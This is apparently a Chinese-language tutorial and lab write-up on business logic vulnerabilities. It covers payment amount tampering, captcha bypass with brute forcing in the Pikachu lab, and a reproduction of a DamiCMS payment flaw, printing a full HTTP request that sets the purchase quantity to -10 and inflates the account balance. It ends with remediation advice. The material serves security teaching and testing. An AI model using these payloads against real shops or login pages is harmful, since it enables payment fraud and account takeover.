逻辑漏洞
漏洞介绍
1.成因
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致一些逻辑分支不能够正常处理或处理错误,一般出现任意密码修改(没有旧密码验证)、越权访问、密码找回、交易支付金额等。
2. 分析
对常见的漏洞进行过统计,发现其中越权操作和逻辑漏洞占比最高,很多平台中基本都有发现,包括任意查询用户信息、任意删除等行为;最严重的漏洞出现在账号安全,包括重置任意用户密码、验证码暴力破解等。
逻辑漏洞详解
1.常见的逻辑漏洞
交易支付、密码修改、密码找回、越权修改、越权查询、突破限制等各类逻辑漏洞。
2.如何挖掘逻辑漏洞
确定业务流程—>寻找流程中可以被操控的环节—>分析可被操控环节中可能产生的逻辑问题—>尝试修改参数触发逻辑问题
3.逻辑漏洞常见思路
交易支付
1、加入购物车时是否可以修改购买数量为负数,商品价格是否可以修改.
2、确认购物车信息时是否可以修改商品数量为负数,是否存在折扣限制突破问题,是否可以修改商品总金额.
3、输入物流信息时是否可以控制运费,如果可以,尝试修改为负数.
4、确认订单后跳转支付接口时是否可以修改支付金额,可否不支付直接跳转到交易成功环节.
密码修改
靶场复现
Pikachu绕过验证码多次利用
输入错误的密码
提示账号密码错误
输入正确的账号密码和错误的验证码
Bp抓包放到攻击模块
字典输入暴力破解
爆破成功密码
大米cms支付逻辑漏洞复现
下载来源:https://www.cnblogs.com/xfbk/p/17910054.html
链接:https://pan.baidu.com/s/1b-Z6RaFBZ6CsSIErY46Pyg?pwd=q8qq
提取码:q8qq
小皮配置环境,php5.4+mysql5.09
自己注册了一个账号登录
点击立即购买,bp抓取数据包
修改数据包未0的数量发包
数据包
POST /index.php?s=/member/dobuy.html HTTP/1.1
Host: dami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 363
Origin: http://dami
Connection: close
Referer: http://dami/index.php?m=Member&a=gobuy&iscart=0&id=69&name=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88&qty=1&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393206337.jpg
Cookie: PHPSESSID=1h7jdlmoh9u1i2l2efsm7hs033; BkGOp9578O_think_template=default
Upgrade-Insecure-Requests: 1
Priority: u=0, i
id%5B%5D=69&pic%5B%5D=%2FPublic%2FUploads%2Fthumb%2Fthumb_1393206337.jpg&name%5B%5D=%E5%A4%A7%E7%B1%B3CMS%E6%89%8B%E6%9C%BA%E5%BC%80%E5%8F%91%E4%B8%93%E7%89%88>ype%5B%5D=%E7%81%B0%E8%89%B2&qty%5B%5D=-10&price%5B%5D=5400&realname=1&tel=1&province=%E5%8C%97%E4%BA%AC&city=%E5%8C%97%E4%BA%AC%E5%B8%82&area=%E4%B8%9C%E5%9F%8E%E5%8C%BA&address=1111&trade_type=3&iscart=0
甚至余额都多了
修复方法:
敏感参数使用密文传输;
服务端校验过滤用户提交的参数;
提交订单时后台判断单价是否与数据库中相符;
服务端计算金额是判断是否为正数;
生成数据签名,对用户金额和订单签名